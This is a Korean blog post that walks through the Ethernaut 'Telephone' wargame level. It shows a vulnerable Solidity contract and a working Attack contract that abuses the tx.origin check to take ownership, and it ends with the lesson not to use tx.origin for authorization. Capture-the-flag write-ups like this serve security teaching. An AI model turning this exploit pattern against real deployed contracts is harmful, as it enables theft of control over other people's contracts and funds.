티스토리 뷰

Solidity/Hacking

[Ethernaut] 4. Telephone

piatoss 2024. 1. 8. 13:48

1. 문제

아래 컨트랙트의 소유권을 탈취하라.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

2. 해법

 기름기 싹 빼고 해법만 간단하게 적겠습니다.

 

 이번에도 3번 문제와 유사하게 Telephone 컨트랙트를 공격하는 Attack 컨트랙트를 작성하고 배포합니다.

contract Attack {
    address public telephoneAddress;

    constructor(address _telephoneAddress) {
        telephoneAddress = _telephoneAddress;
    }

    function attack() public {
        Telephone telephone = Telephone(telephoneAddress);
        telephone.changeOwner(msg.sender);
    }
}

 그리고 attack 함수를 호출하면 Telephone 컨트랙트의 소유권을 탈취할 수 있습니다.


3. tx.origin

 tx.origin은 트랜잭션의 발신자를 가리키는 전역 변수입니다. 이 문제는 tx.origin으로 인해 발생할 수 있는 피싱 문제를 다루고 있는데요. 다음과 같은 순서로 트랜잭션이 실행된다고 봅시다. Attack 컨트랙트의 attack 함수를 실행하면 메타마스크 팝업창이 뜨고, 지갑의 소유자가 확인 버튼을 누르면 트랜잭션이 실행됩니다.

 

 이때 tx.origin은 다음과 같습니다. tx.origin은 attack 함수에서도 changeOwner에서도 동일하게 적용됩니다.

 

 attack 함수에서는 다음과 같이 msg.sender를 changeOwner의 인수로 넘겨주게 되는데 이는 곧 사용자의 지갑 주소를 의미합니다. attack 함수를 호출한 것은 사용자이니까요.

telephone.changeOwner(msg.sender);

 

 Telephone 컨트랙트의 changeOwner 함수는 _owner 매개변수로 사용자의 지갑 주소를 받아 컨트랙트 소유자를 변경하기 위한 조건을 판별하는데 여기서 tx.origin은 사용자의 지갑 주소이지만 changeOwner 함수를 직접적으로 호출한 것은 Attack 컨트랙트의 attack 함수이기 때문에 changeOwner에서 불러온 msg.sender 값은 Attack 컨트랙트의 주소가 됩니다.

 

 따라서 tx.origin과 msg.sender가 다르기 때문에 Telephone 컨트랙트의 소유자를 사용자의 지갑 주소로 변경하게 됩니다.


4. 결론

인가, 인증을 위해 tx.origin을 사용하지 말자.

'Solidity > Hacking' 카테고리의 다른 글

[Ethernaut] 6. Delegation  (0) 2024.01.16
[Ethernaut] 5. Token  (0) 2024.01.15
[Ethernaut] 3. CoinFlip  (0) 2024.01.07
[Ethernaut] 2. Fallout  (2) 2024.01.05
[Ethernaut] 1. Fallback  (2) 2024.01.04
최근에 올라온 글
최근에 달린 댓글
«   2025/01   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Total
Today
Yesterday
글 보관함